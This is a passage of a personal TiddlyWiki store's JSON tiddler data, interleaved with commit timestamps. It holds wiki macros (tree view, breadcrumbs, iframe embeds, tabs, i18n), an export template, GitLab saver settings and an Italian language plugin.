text=\u003C\u003C__chunk__>>/>\n\u003C/$button>\n\u003C/$reveal>\n\u003C$reveal type=\"match\" stateTitle=\u003C\u003Creveal-state>> text=\"show\">\n\u003C$button setTitle=\u003C\u003Creveal-state>> setTo=\"hide\" class=\"tc-btn-invisible\">\n{{$:/core/images/folder}}&#32;\u003C$text text=\u003C\u003C__chunk__>>/>\n\u003C/$button>\n\u003C/$reveal>\n&#32;\n\u003Cspan>(\u003C$count filter=\"[all[shadows+tiddlers]removeprefix\u003C__prefix__>removeprefix\u003C__chunk__>] -[\u003C__prefix__>addsuffix\u003C__chunk__>]\"/>)\u003C/span>\n\u003C$reveal type=\"match\" stateTitle=\u003C\u003Creveal-state>> text=\"show\">\n\u003C$macrocall $name=\"tree-node\" prefix={{{ [\u003C__prefix__>addsuffix\u003C__chunk__>] }}} separator=\u003C\u003C__separator__>>/>\n\u003C/$reveal>\n\u003C/$set>\n\u003C/li>\n\\end\n\n\\define tree-node(prefix,separator: \"/\")\n\\whitespace trim\n\u003Col>\n\u003C$list filter=\"[all[shadows+tiddlers]removeprefix\u003C__prefix__>splitbefore\u003C__separator__>sort[]!suffix\u003C__separator__>]\" variable=\"chunk\">\n\u003C$macrocall $name=\"leaf-node\" prefix=\u003C\u003C__prefix__>> chunk=\u003C\u003Cchunk>> separator=\u003C\u003C__separator__>>/>\n\u003C/$list>\n\u003C$list filter=\"[all[shadows+tiddlers]removeprefix\u003C__prefix__>splitbefore\u003C__separator__>sort[]suffix\u003C__separator__>]\" variable=\"chunk\">\n\u003C$macrocall $name=\"branch-node\" prefix=\u003C\u003C__prefix__>> chunk=\u003C\u003Cchunk>> separator=\u003C\u003C__separator__>>/>\n\u003C/$list>\n\u003C/ol>\n\\end\n\n\\define tree_(prefix:\"\", separator:\"/\")\n\\whitespace trim\n\u003Cdiv class=\"tc-tree\">\n\u003Cspan>\u003C$text text=\u003C\u003C__prefix__>>/>\u003C/span>\n\u003Cdiv>\n\u003C$macrocall $name=\"tree-node\" prefix=\u003C\u003C__prefix__>> separator=\u003C\u003C__separator__>>/>\n\u003C/div>\n\u003C/div>\n\\end\n\n\\define tree(prefix:\"$:/\", separator:\"/\") \u003C$macrocall $name=\"tree_\" prefix=\u003C\u003C__prefix__>> separator=\u003C\u003C__separator__>>/>\n","title":"$:/core/macros/tree","tags":"$:/tags/Macro","modified":"20230126193558598","modifier":"Octt"},
2022-09-20 17:01:51 +00:00
{"created":"20220920170048300","text":"\\define tv-wikilink-template() #$uri_encoded$\n\\define tv-config-toolbar-icons() no\n\\define tv-config-toolbar-text() no\n\\define tv-config-toolbar-class() tc-btn-invisible\n\\rules only filteredtranscludeinline transcludeinline\n\u003C!doctype html>\n\u003Chtml>\n\u003Chead>\n\u003Cmeta http-equiv=\"Content-Type\" content=\"text/html;charset=utf-8\" />\n\u003Cmeta name=\"generator\" content=\"TiddlyWiki\" />\n\u003Cmeta name=\"tiddlywiki-version\" content=\"{{$:/core/templates/version}}\" />\n\u003Cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n\u003Cmeta name=\"format-detection\" content=\"telephone=no\">\n\u003Clink id=\"faviconLink\" rel=\"shortcut icon\" href=\"favicon.ico\">\n\u003Ctitle>{{$:/core/wiki/title}}\u003C/title>\n\u003Cdiv id=\"styleArea\">\n{{$:/boot/boot.css||$:/core/templates/css-tiddler}}\n\u003C/div>\n\u003Cstyle type=\"text/css\">\n{{$:/core/ui/PageStylesheet||$:/core/templates/wikified-tiddler}}\n\u003C/style>\n\u003C/head>\n\u003Cbody class=\"tc-body\">\n{{$:/StaticBanner||$:/core/templates/html-tiddler}}\n\u003Csection class=\"tc-story-river tc-static-story-river\">\n{{$:/core/templates/exporters/StaticRiver/Content||$:/core/templates/html-tiddler}}\n\u003C/section>\n\u003C/body>\n\u003C/html>\n","title":"$:/core/templates/exporters/StaticRiver","tags":"$:/tags/Exporter","description":"{{$:/language/Exporters/StaticRiver}}","extension":".html","modified":"20220920170145211"},
2022-09-24 19:35:36 +00:00
{"created":"20220920140954764","text":"\u003C!-- For search engines, and people without JavaScript --->\n \nIf you're reading this, then your browser isn't executing JavaScript code (properly, or at all).\n\nIf you disabled JS on purpose, you may want to read the ''no-JS KB'': [ext[./Static.html]];\n\nIf you, instead, don't know why you're seeing this:\n\n* [[Enable JavaScript|http://web.archive.org/web/20220920042154/https://www.enable-javascript.com]], if you have it disabled;\n* Update your browser, if it's years out-of-date.\n\n\u003C!--\n\u003Cbr>\u003Chr>\u003Cbr>\n\n//The following is a preview of the Welcome Page.//\n\n{{~Welcome~}}\n--->\n\n\u003C!-- Old template\nThis [[TiddlyWiki|https://tiddlywiki.com]] contains the following tiddlers:\n\n\u003Cul>\n\u003C$list filter=\u003C\u003CsaveTiddlerFilter>>>\n\u003Cli>\u003C$view field=\"title\" format=\"text\">\u003C/$view>\u003C/li>\n\u003C/$list>\n\u003C/ul>\n--->","title":"$:/core/templates/static.content","modified":"20220924193531494"},
2023-01-29 13:17:12 +00:00
{"created":"20230129121307345","creator":"Octt","text":"\\whitespace trim\n\n\\import $:/Macros/Breadcrumbs/Main\n\n\\define title-styles()\nfill:$(foregroundColor)$;\n\\end\n\u003Cdiv class=\"tc-tiddler-title\">\n\u003Cdiv class=\"tc-titlebar\">\n\u003C\u003CMakeViewBreadcrumbs>>\n\u003Cspan class=\"tc-tiddler-controls\">\n\u003C$list filter=\"[all[shadows+tiddlers]tag[$:/tags/ViewToolbar]!has[draft.of]] :filter[lookup[$:/config/ViewToolbarButtons/Visibility/]!match[hide]]\" storyview=\"pop\" variable=\"listItem\">\u003C$set name=\"tv-config-toolbar-class\" filter=\"[\u003Ctv-config-toolbar-class>] [\u003ClistItem>encodeuricomponent[]addprefix[tc-btn-]]\">\u003C$transclude tiddler=\u003C\u003ClistItem>>/>\u003C/$set>\u003C/$list>\n\u003C/span>\n\u003C$set name=\"tv-wikilinks\" value={{$:/config/Tiddlers/TitleLinks}}>\n\u003C$link>\n\u003C$list filter=\"[\u003CcurrentTiddler>] :cascade[all[shadows+tiddlers]tag[$:/tags/TiddlerIconFilter]!is[draft]get[text]] +[!is[blank]]\" variable=\"ignore\">\n\u003C$let foregroundColor={{{ [\u003CcurrentTiddler>] :cascade[all[shadows+tiddlers]tag[$:/tags/TiddlerColourFilter]!is[draft]get[text]] }}}>\n\u003Cspan class=\"tc-tiddler-title-icon\" style=\u003C\u003Ctitle-styles>>>\n{{||$:/core/ui/TiddlerIcon}}\n\u003C/span>\n\u003C/$let>\n\u003C/$list>\n\u003C$transclude tiddler={{{ [\u003CcurrentTiddler>] :cascade[all[shadows+tiddlers]tag[$:/tags/ViewTemplateTitleFilter]!is[draft]get[text]] :and[!is[blank]else[$:/core/ui/ViewTemplate/title/default]] }}} />\n\u003C/$link>\n\u003C/$set>\n\u003C/div>\n\n\u003C$reveal type=\"nomatch\" text=\"\" default=\"\" state=\u003C\u003CtiddlerInfoState>> class=\"tc-tiddler-info tc-popup-handle\" animate=\"yes\" retain=\"yes\">\n\n\u003C$list filter=\"[all[shadows+tiddlers]tag[$:/tags/TiddlerInfoSegment]!has[draft.of]] [[$:/core/ui/TiddlerInfo]]\" variable=\"listItem\">\u003C$transclude tiddler=\u003C\u003ClistItem>> mode=\"block\"/>\u003C/$list>\n\n\u003C/$reveal>\n\u003C/div>\n","title":"$:/core/ui/ViewTemplate/title","tags":"$:/tags/ViewTemplate","modified":"20230129125324482","modifier":"Octt"},
{"created":"20230129122910743","creator":"Octt","text":"\\whitespace trim\n\u003Ch2 class=\"tc-title\">\n\u003C$view field=\"title\"/>\n\u003C/h2>\n","title":"$:/core/ui/ViewTemplate/title/default","modified":"20230129123205205","modifier":"Octt"},
2023-01-13 11:22:30 +00:00
{"created":"20220920084655144","title":"$:/DefaultTiddlers","text":"[[~Welcome~]]\n[list[$:/StoryList]]","modified":"20230113094041121"},
2022-09-20 14:28:28 +00:00
{"created":"20220920142651849","title":"$:/GitLab/Branch","text":"main","modified":"20220920142652313"},
{"created":"20220920092034075","title":"$:/GitLab/Filename","text":"index.html","modified":"20220920142819555"},
{"created":"20220920092013542","title":"$:/GitLab/Path","text":"/public/","modified":"20220920092030508"},
{"created":"20220920091953829","title":"$:/GitLab/Repo","text":"octtspacc/OcttKB","modified":"20220920091959306"},
{"created":"20220920091945932","title":"$:/GitLab/Username","text":"octospacc","modified":"20220920091949616"},
2023-01-25 17:58:21 +00:00
{"created":"20230125160308146","creator":"Octt","text":"","tags":"","title":"$:/i18n","modified":"20230125175813577","modifier":"Octt","Languages":"en it"},
2023-02-06 11:43:53 +00:00
{"created":"20220926115058940","creator":"Octt","text":"","title":"$:/i18n:en","icon":"$:/languages/en-GB/icon","modified":"20230206111621568","modifier":"Octt"},
{"created":"20220926115105492","creator":"Octt","text":"","title":"$:/i18n:it","icon":"$:/languages/it-IT/icon","modified":"20230206111646477","modifier":"Octt"},
2023-01-17 13:05:45 +00:00
{"title":"$:/Import","text":"The following tiddlers were imported:\n\n# [[$:/ThirdParty/tobibeer/ibox/Lightbox]]\n# [[$:/ThirdParty/tobibeer/ibox]]","status":"complete"},
{"title":"$:/isEncrypted","text":"no"},
{"created":"20220920084931737","title":"$:/language/DefaultNewTiddlerTitle","text":"New","modified":"20220920084934458"},
2022-09-22 20:12:41 +00:00
{"title":"$:/languages/it-IT","name":"it-IT","plugin-type":"language","description":"Italian (Italy)","author":"MaurizioPollio","core-version":">=5.0.8","version":"5.2.3","dependents":"","type":"application/json","text":"{\"tiddlers\":{\"$:/language/Buttons/AdvancedSearch/Caption\":{\"title\":\"$:/language/Buttons/AdvancedSearch/Caption\",\"text\":\"Ricerca avanzata\"},\"$:/language/Buttons/AdvancedSearch/Hint\":{\"title\":\"$:/language/Buttons/AdvancedSearch/Hint\",\"text\":\"Ricerca avanzata\"},\"$:/language/Buttons/Cancel/Caption\":{\"title\":\"$:/language/Buttons/Cancel/Caption\",\"text\":\"Annulla\"},\"$:/language/Buttons/Cancel/Hint\":{\"title\":\"$:/language/Buttons/Cancel/Hint\",\"text\":\"Annulla i cambiamenti a questo frammento\"},\"$:/language/Buttons/Clone/Caption\":{\"title\":\"$:/language/Buttons/Clone/Caption\",\"text\":\"Clona\"},\"$:/language/Buttons/Clone/Hint\":{\"title\":\"$:/language/Buttons/Clone/Hint\",\"text\":\"Clona questo frammento\"},\"$:/language/Buttons/Close/Caption\":{\"title\":\"$:/language/Buttons/Close/Caption\",\"text\":\"Chiudi\"},\"$:/language/Buttons/Close/Hint\":{\"title\":\"$:/language/Buttons/Close/Hint\",\"text\":\"Chiudi questo frammento\"},\"$:/language/Buttons/CloseAll/Caption\":{\"title\":\"$:/language/Buttons/CloseAll/Caption\",\"text\":\"Chiudi tutti\"},\"$:/language/Buttons/CloseAll/Hint\":{\"title\":\"$:/language/Buttons/CloseAll/Hint\",\"text\":\"Chiudi tutti i frammenti\"},\"$:/language/Buttons/CloseOthers/Caption\":{\"title\":\"$:/language/Buttons/CloseOthers/Caption\",\"text\":\"Chiudi altri\"},\"$:/language/Buttons/CloseOthers/Hint\":{\"title\":\"$:/language/Buttons/CloseOthers/Hint\",\"text\":\"Chiudi gli altri frammenti\"},\"$:/language/Buttons/ControlPanel/Caption\":{\"title\":\"$:/language/Buttons/ControlPanel/Caption\",\"text\":\"Pannello di controllo\"},\"$:/language/Buttons/ControlPanel/Hint\":{\"title\":\"$:/language/Buttons/ControlPanel/Hint\",\"text\":\"Apri il pannello di controllo\"},\"$:/language/Buttons/Delete/Caption\":{\"title\":\"$:/language/Buttons/Delete/Caption\",\"text\":\"Elimina\"},\"$:/language/Buttons/Delete/Hint\":{\"title\":\"$:/language/Buttons/Delete/Hint\",\"text\":\"Elimina questo frammento\"},\"$:/language/Buttons/Edit/Caption\":{\"title\":\"$:/language/Buttons/Edit/Caption\",\"text\":\"Modifica\"},\"$:/language/Buttons/Edit/Hint\":{\"title\":\"$:/language/Buttons/Edit/Hint\",\"text\":\"Modifica questo frammento\"},\"$:/language/Buttons/Encryption/Caption\":{\"title\":\"$:/language/Buttons/Encryption/Caption\",\"text\":\"Cifratura\"},\"$:/language/Buttons/Encryption/ClearPassword/Caption\":{\"title\":\"$:/language/Buttons/Encryption/ClearPassword/Caption\",\"text\":\"Rimuovi password\"},\"$:/language/Buttons/Encryption/ClearPassword/Hint\":{\"title\":\"$:/language/Buttons/Encryption/ClearPassword/Hint\",\"text\":\"Rimuovi la password e salva questo wiki senza cifrarlo\"},\"$:/language/Buttons/Encryption/Hint\":{\"title\":\"$:/language/Buttons/Encryption/Hint\",\"text\":\"Imposta o rimuovi la password per salvare questo wiki\"},\"$:/language/Buttons/Encryption/SetPassword/Caption\":{\"title\":\"$:/language/Buttons/Encryption/SetPassword/Caption\",\"text\":\"Imposta password\"},\"$:/language/Buttons/Encryption/SetPassword/Hint\":{\"title\":\"$:/language/Buttons/Encryption/SetPassword/Hint\",\"text\":\"Imposta una password per salvare questo wiki con cifratura\"},\"$:/language/Buttons/ExportPage/Caption\":{\"title\":\"$:/language/Buttons/ExportPage/Caption\",\"text\":\"Esporta tutti\"},\"$:/language/Buttons/ExportPage/Hint\":{\"title\":\"$:/language/Buttons/ExportPage/Hint\",\"text\":\"Esporta tutti i frammenti\"},\"$:/language/Buttons/ExportTiddler/Caption\":{\"title\":\"$:/language/Buttons/ExportTiddler/Caption\",\"text\":\"Esporta frammento\"},\"$:/language/Buttons/ExportTiddler/Hint\":{\"title\":\"$:/language/Buttons/ExportTiddler/Hint\",\"text\":\"Esporta questo frammento\"},\"$:/language/Buttons/ExportTiddlers/Caption\":{\"title\":\"$:/language/Buttons/ExportTiddlers/Caption\",\"text\":\"Esporta i frammenti\"},\"$:/language/Button
2022-09-22 20:13:21 +00:00
{"created":"20220922201158563","text":"\u003Csvg xmlns=\"http://www.w3.org/2000/svg\" width=\"1500\" height=\"1000\" viewBox=\"0 0 3 2\">\n\u003Crect width=\"1\" height=\"2\" fill=\"#009246\"/>\n\u003Crect width=\"1\" height=\"2\" x=\"1\" fill=\"#fff\"/>\n\u003Crect width=\"1\" height=\"2\" x=\"2\" fill=\"#ce2b37\"/>\n\u003C/svg>","tags":"","title":"$:/languages/it-IT/icon","modified":"20220922201315240","type":"image/svg+xml"},
2023-01-30 08:25:13 +00:00
{"created":"20230130080040533","creator":"Octt","text":"\\define .@Wikipedia(Article Subdomain) \u003C\u003CWikipediaFrame \"$Article$\" \"$Subdomain$\">>","title":"$:/Macros/.@","modified":"20230130080526665","modifier":"Octt","tags":"$:/tags/Macro"},
2022-11-10 17:24:10 +00:00
{"created":"20221109224522256","text":"/*\\\nReturn the content of a tiddler encoded as [[Base64]] and encapsulated in a data URI.\n\u003C\u003Cb64TidUriEnc \"Tiddler Name\">>\n\\*/\n\n(function(){\n\"use strict\";\nexports.name = \"b64TidUriEnc\";\nexports.params = [\n\t{name: \"Name\"}\n];\n\nexports.run = function(Name) {\n\ttry {\n\t\tlet Tid = $tw.wiki.getTiddler(Name);\n\t\tlet Type = Tid.fields.type || \"text/vnd.tiddlywiki\";\n\t\tlet Data = $tw.utils.base64Encode(Tid.fields.text);\n\t\treturn \"data:\" + Type + \";base64,\" + Data;\n\t} catch(e) {\n\t\treturn e;\n\t};\n};\n})();","tags":"","title":"$:/Macros/b64TidUriEnc.js","modified":"20221110153303563","type":"application/javascript","module-type":"macro"},
2023-02-02 19:49:55 +00:00
{"created":"20230125222831006","creator":"Octt","text":"/*\\\nHide i18n namespace labels dynamically from the Breadcrumbs line\n(by wrapping them in CSS-selectable elements)\n\\*/\n(function(){\n\"use strict\";\nexports.name = \"i18nBreadcrumbsNamespaceLabelStrip\";\nexports.params = [];\n\nexports.run = function() {\ntry {\n var Languages = $tw.wiki.getTiddler('$:/i18n').fields.Languages.toLowerCase().split(' ');\n var Path = this.getVariable('currentTiddler');\n var Select = `.tc-story-river > div[data-tiddler-title=\"${Path}\"] > .View-Breadcrumbs > .Path-Elem`;\n var List = document.querySelectorAll(Select + ':last-of-type');\n for (var i=0; i \u003C List.length; i++) {\n // At end of tiddler path (e.g: Tests/Misc/Test:en)\n var Name = List[i].innerHTML.trim();\n var Code = Name.toLowerCase().split(':').slice(-1)[0];\n if (Languages.includes(Code)) {\n List[i].innerHTML = `${Name.split(':').slice(0, -1)}\u003Cspan class=\"Inline-Hidden\">:${Code}\u003C/span>`;\n } else {\n // At start of tiddler path (e.g: Testing:en/Misc/Test); handle $:/ prefix if present\n var Index = Path.startsWith('$:/') ? 2 : 1;\n var Code = Path.toLowerCase().split(':')[Index];\n if (Code) {\n Code = Code.split('/')[0];\n if (Languages.includes(Code)) {\n var List = document.querySelectorAll(`${Select}:nth-child(${Index})`);\n for (var i=0; i \u003C List.length; i++) {\n // TODO // List[i].innerHTML = `\u003Cspan class=\"Inline-Hidden\">:${Code}\u003C/span>/${Path.split(':')[Index].split('/').slice(1).join('/')}`;\n };\n };\n };\n };\n };\n} catch(e) {\n $OcttKB.ErrAtLine(e);\n};\n}})();","tags":"","title":"$:/Macros/Breadcrumbs/i18nNamespaceLabelStrip.js","modified":"20230202185802952","modifier":"Octt","module-type":"macro","type":"application/javascript"},
{"created":"20230129125013039","creator":"Octt","text":"\\whitespace trim\n\n\\define MakeViewBreadcrumbs()\n\u003Cspan class=\"View-Breadcrumbs\">\n\u003C!--\n\u003Ca class=\"Inline-Icon\" href=\"javascript:(alert('TODO copy title to clipboard'))\">{{$:/core/images/folder}}\u003C/a>\n-->\n\u003C!--\n\u003Cdetails>\n \u003Csummary>-\u003C/summary>\n \u003C\u003CDirTreeList>>\n\u003C/details>\n-->\n\u003C$set name=\"Caller\" value=\u003C\u003CcurrentTiddler>>>\u003C!--\n-->\u003C$list filter=\"[\u003CcurrentTiddler>split[/]limit[-1]]\" counter=\"Index\">\u003C!--\n -->\u003Cspan class=\"Path-Elem\" data-path-elem=\u003C\u003CcurrentTiddler>>>\u003C!--\n -->\u003C$link to={{{[\u003CCaller>split[/]limit\u003CIndex>join[/]]}}}>\u003C!--\n -->\u003C\u003CcurrentTiddler>>\u003C!--\n -->\u003C/$link>\u003C!--\n -->\u003C/span>\u003C!--\n -->\u003Cspan class=\"Inline-Sep\">\u003C!--\n -->\u003Cspan>/\u003C/span>\u003C!--\n -->\u003C/span>\u003C!--\n-->\u003C/$list>\u003C!--\n-->\u003C/$set>\u003C!--\n-->\u003C$set name=\"Tiddler\" value={{{[\u003CcurrentTiddler>split[/]last[]]}}}>\u003C!--\n -->\u003Cspan class=\"Path-Elem\" data-path-elem=\u003C\u003CTiddler>>>\u003C!--\n -->\u003Cdetails>\u003C!--\n -->\u003Csummary>\u003C!--\n -->\u003C$text text=\u003C\u003CTiddler>>/>\u003C!--\n -->\u003C/summary>\u003C!--\n -->\u003C\u003CDirTreeList>>\u003C!--\n -->\u003C/details>\u003C!--\n -->\u003C/span>\u003C!--\n-->\u003C/$set>\n\u003C/span>\n\\end","tags":"","title":"$:/Macros/Breadcrumbs/Main","modified":"20230202191100057","modifier":"Octt"},
2023-01-26 20:25:57 +00:00
{"created":"20230109160537807","creator":"Octt","text":"\\whitespace trim\n\n\u003C!-- Directory Features --->\n\n\\define DirTreeList(Prefix)\n\u003C$set name=\"Prefix\" filter=\" $Prefix$\" value=\"$Prefix$\" emptyValue=\u003C\u003CcurrentTiddler>>>\n \u003C$macrocall $name=\"tree_\" prefix={{{[\u003CPrefix>addsuffix[/]]}}}/>\n\u003C/$set>\n\\end\n\n\\define CurDirList()\n\u003C$set name=\"Name\" value=\u003C\u003CGetCurrentDirectoryPath>>>\n\u003Cul>\n\u003C$list filter=\"[prefix\u003CName>]\">\n\t\u003Cli>\n\t\t\u003C$link>\n\t\t\t\u003C\u003CcurrentTiddler>>\n\t\t\u003C/$link>\n\t\u003C/li>\n\u003C/$list>\n\u003C/ul>\n\u003C/$set>\n\\end\n\n\\define TCurDirList(h:\"2\")\n\u003Ch$h$ class=\"DirList-Title\">Directory Listing\u003C/h$h$>\n\u003C\u003CCurDirList>>\n\\end\n\n\\define DirList(Path)\n\u003C$set name=\"Name\" value=\u003C\u003CGetDirectoryPath $Path$>>>\n\u003Cul>\n\u003C$list filter=\"[prefix\u003CName>]\">\n\t\u003Cli>\n\t\t\u003C$link>\n\t\t\t\u003C\u003CcurrentTiddler>>\n\t\t\u003C/$link>\n\t\u003C/li>\n\u003C/$list>\n\u003C/ul>\n\u003C/$set>\n\\end\n\n\\define TDirList(Path h:\"2\")\n\u003Ch$h$ class=\"DirList-Title\">Directory Listing of [[$Path$]]/\u003C/h$h$>\n\u003C\u003CDirList $Path$>>\n\\end\n\n\\define GetCurrentDirectoryPath() $(currentTiddler)$/\n\\define GetDirectoryPath(Path) $Path$/\n\n\u003C!--\n\\define GetDirectoryPath(Path) $Path$/\n\n\\define DirList(Path:\u003C\u003CcurrentTiddler>>)\n\u003C$set name=\"Name\" value=\u003C$macrocall $name=\"GetDirectoryPath\" Path=$Path$/>>>\n\u003Cul>\n\u003C$list filter=\"[prefix\u003CName>]\">\n\t\u003Cli>\n\t\t\u003C$link>\n\t\t\t\u003C\u003CcurrentTiddler>>\n\t\t\u003C/$link>\n\t\u003C/li>\n\u003C/$list>\n\u003C/ul>\n\u003C/$set>\n\\end\n\n\\define TDirList(Path)\n\u003Ch2>Directory Listing\u003C/h2>\n\u003C\u003CDirList $Path$>>\n\\end\n--->","tags":"$:/tags/Macro","title":"$:/Macros/Directory","modified":"20230126202229853","modifier":"Octt"},
2023-01-30 16:20:45 +00:00
{"created":"20230111212908327","creator":"Octt","text":"\\whitespace trim\n\n\\define iFrame100Style()\nMargin: 0px;\nPadding: 0px;\nWidth: 100vw;\nHeight: 100vh;\n\\end\n\n\\define EmbedFromLine(Link)\n\u003Cp class=\"Embed-From EmbedFrom\">Embed of [[$Link$]]\u003C/p>\n\\end\n\n\\define iFrame(Src Class:\"iFrame100\" Attrs)\n\u003C\u003CEmbedFromLine \"$Src$\">>\n\u003Cinput class=\"NoSelect Checkbox-Btn Embed-Fullscreen-Btn\" type=\"checkbox\" label=\"Fullscreen\"/>\n\u003Clabel class=\"NoSelect Checkbox-Btn Embed-Fullscreen-Btn\">Fullscreen\u003C/label>\n\u003Ciframe class=\"$Class$\" frameborder=\"0\" $Attrs$ src=\"$Src$\">\u003C/iframe>\n\\end\n\n\\define iFrameFixed(Src Class:\"iFrame100\" Attrs) \u003C\u003CiFrame \"$Src$\" \"$Class$\" 'scrolling=\"no\" $Attrs$'>>\n\\define iFrameBypassFixed(Src Class:\"iFrame100\" Attrs) \u003C\u003CiFrameBypass \"$Src$\" \"$Class$\" 'scrolling=\"no\" $Attrs$'>>\n\\define iFrameFixedBypass(Src Class:\"iFrame100\" Attrs) \u003C\u003CiFrameBypass \"$Src$\" \"$Class$\" 'scrolling=\"no\" $Attrs$'>>\n\n\\define iFrameBypass(Src Class:\"iFrame100\" Attrs)\n\u003C\u003CEmbedFromLine \"$Src$\">>\n\u003Ciframe class=\"$Class$\" frameborder=\"0\" $Attrs$ src='\ndata:text/html;utf8,\n\u003C!DOCTYPE html>\n\u003C!-- Code from X-Frame-Bypass: \u003Chttps://github.com/niutech/x-frame-bypass> --->\n\u003Chtml>\n\u003Chead>\n \u003Cstyle>\n html, body { overflow: hidden; }\n html, body, iframe { margin: 0px; padding: 0px; width: 100%; height: 100%; border: none; }\n \u003C/style>\n \u003Cscript src=\"https://unpkg.com/@ungap/custom-elements-builtin\">\u003C/script>\n \u003Cscript src=\"https://octospacc.gitlab.io/pastebin/x-frame-bypass.js\" type=\"module\">\u003C/script>\n\u003C/head>\n\u003Cbody>\u003Ciframe frameborder=\"0\" is=\"x-frame-bypass\" src=\"$Src$\">\u003C/iframe>\u003C/body>\n\u003C/html>\n'>\u003C/iframe>\n\\end\n\n\\define iFrame100(Src)\n\u003C\u003CEmbedFromLine \"$Src$\">>\n\u003Ciframe style=\u003C\u003CiFrame100Style>> frameborder=\"0\" src=\"$Src$\">\u003C/iframe>\n\\end\n\n\\define iFrame100NoScroll(Src)\n\u003C\u003CEmbedFromLine \"$Src$\">>\n\u003Ciframe style=\u003C\u003CiFrame100Style>> frameborder=\"0\" src=\"$Src$\" scrolling=\"no\">\u003C/iframe>\n\\end\n\n\\define iFrame100UriDirect(Src)\n\u003Ciframe style=\u003C\u003CiFrame100Style>> frameborder=\"0\" src=$Src$>\u003C/iframe>\n\\end\n\n\\define iFrame100Tid(Tid)\n\u003C\u003CEmbedFromLine \"$Tid$\">>\n\u003C\u003CiFrame100UriDirect \"\"\"\u003C\u003Cb64TidUriEnc \"$Tid$\">>\"\"\">>\n\\end\n","tags":"$:/tags/Macro","title":"$:/Macros/Frames","modified":"20230130154647493","modifier":"Octt"},
2023-01-08 20:13:51 +00:00
{"created":"20220926113710012","text":"\\define i18n-target()\n\u003C$list filter=\"[[$(currentTiddler)$]tags[]prefix[i18n:]split[:]last[]]\">\n\t\u003Cspan style=\"Padding:8px;\">\n\t\t\u003C\u003CcurrentTiddler>>\n\t\u003C/span>\n\u003C/$list>\n\\end\n\n\\define i18n()\n\u003Cstyle>\n\t/* Rainbow gradient from https://stackoverflow.com/a/63302468 */\n\t.LanguageBox {\n\t\tBorder: Solid Black 1px;\n\t\tPadding: 4px;\n\t\tBackground: Linear-Gradient(\n\t\t\t90deg,\n\t\t\tRGBA(255, 0, 0, 1) 0%,\n\t\t\tRGBA(255, 154, 0, 1) 10%,\n\t\t\tRGBA(208, 222, 33, 1) 20%,\n\t\t\tRGBA(79, 220, 74, 1) 30%,\n\t\t\tRGBA(63, 218, 216, 1) 40%,\n\t\t\tRGBA(47, 201, 226, 1) 50%,\n\t\t\tRGBA(28, 127, 238, 1) 60%,\n\t\t\tRGBA(95, 21, 242, 1) 70%,\n\t\t\tRGBA(186, 12, 248, 1) 80%,\n\t\t\tRGBA(251, 7, 217, 1) 90%,\n\t\t\tRGBA(255, 0, 0, 1) 100%\n\t\t);\n\t}\n\t.LanguageBox > Div {\n\t\tBorder: Solid Black 1px;\n\t\tPadding: 4px;\n\t\tFont-Size: Larger;\n\t\tText-Align: Center;\n\t\tBackground: White;\n\t}\n\u003C/style>\n\u003Cdiv class=\"LanguageBox\">\u003Cdiv>\n\t\u003C$vars id={{!!i18n}}>\n\t\t\u003C$list filter=\"[!is[system]contains:i18n\u003Cid>]\">\n\t\t\t\u003C$link>\n\t\t\t\t\u003C$macrocall $name=\"i18n-target\"/>\n\t\t\t\u003C/$link>\n\t\t\u003C/$list>\n\t\u003C/$vars>\n\u003C/div>\u003C/div>\n\\end","tags":"$:/tags/Macro","title":"$:/Macros/i18n","modified":"20230108195259126"},
2022-09-25 15:48:01 +00:00
{"created":"20220922135257709","text":"\u003C!-- The following code is almost totally derived from [[$:/core/macros/tabs]] --->\n\n\\define ltabs-button()\n\\whitespace trim\n\u003C$button set=\u003C\u003CltabsState>> setTo=\u003C\u003CcurrentTab>> default=\u003C\u003C__default__>> selectedClass=\"tc-tab-selected\" tooltip={{!!tooltip}} role=\"switch\">\n\t\u003Cspan>&nbsp;[[#|$(currentTab)$]]&nbsp;\u003C/span>\n\t\u003C$tiddler tiddler=\u003C\u003Csave-currentTiddler>>>\n\t\t\u003C$set name=\"tv-wikilinks\" value=\"no\">\n\t\t\t\u003C$transclude tiddler=\u003C\u003C__buttonTemplate__>> mode=\"inline\">\n\t\t\t\t\u003C$transclude tiddler=\u003C\u003CcurrentTab>> field=\"caption\">\n\t\t\t\t\t\u003C$macrocall $name=\"currentTab\" $type=\"text/plain\" $output=\"text/plain\"/>\n\t\t\t\t\u003C/$transclude>\n\t\t\t\u003C/$transclude>\n\t\t\u003C/$set>\n\t\u003C/$tiddler>\n\t\u003C\u003C__actions__>>\n\u003C/$button>\n\\end\n\n\\define ltabs-tab()\n\\whitespace trim\n\u003C$set name=\"save-currentTiddler\" value=\u003C\u003CcurrentTiddler>>>\n\t\u003C$tiddler tiddler=\u003C\u003CcurrentTab>>>\n\t\t\u003C\u003Cltabs-button>>\n\t\u003C/$tiddler>\n\u003C/$set>\n\\end\n\n\\define ltabs-tab-list()\n\\whitespace trim\n\u003C$list filter=\u003C\u003C__ltabsList__>> variable=\"currentTab\" storyview=\"pop\">\n\t\u003C\u003Cltabs-tab>>\n\u003C/$list>\n\\end\n\n\\define ltabs-tab-body()\n\\whitespace trim\n\u003C$list filter=\u003C\u003C__ltabsList__>> variable=\"currentTab\">\n\t\u003C$reveal type=\"match\" state=\u003C\u003CltabsState>> text=\u003C\u003CcurrentTab>> default=\u003C\u003C__default__>> retain=\u003C\u003C__retain__>> tag=\"div\">\n\t\t\u003C$transclude tiddler=\u003C\u003C__template__>> mode=\"block\">\n\t\t\t\u003C$tiddler tiddler=\u003C\u003CcurrentTab>>>\n\t\t\t\t\u003C$transclude mode=\"block\" />\n\t\t\t\u003C/$tiddler>\n\t\t\u003C/$transclude>\n\t\u003C/$reveal>\n\u003C/$list>\n\\end\n\n\\define ltabs(ltabsList,default,state:\"$:/state/tab\",class,template,buttonTemplate,retain,actions,explicitState)\n\\whitespace trim\n\u003C$qualify title=\u003C\u003C__state__>> name=\"qualifiedState\">\n\t\u003C$let ltabsState={{{ [\u003C__explicitState__>minlength[1]] ~[\u003CqualifiedState>] }}}>\n\t\t\u003Cdiv class={{{ [[tc-tab-set]addsuffix[ ]addsuffix\u003C__class__>] }}}>\n\t\t\t\u003Cdiv class={{{ [[tc-tab-buttons]addsuffix[ ]addsuffix\u003C__class__>] }}}>\n\t\t\t\t\u003C\u003Cltabs-tab-list>>\n\t\t\t\u003C/div>\n\t\t\t\u003Cdiv class={{{ [[tc-tab-divider]addsuffix[ ]addsuffix\u003C__class__>] }}}/>\n\t\t\t\u003Cdiv class={{{ 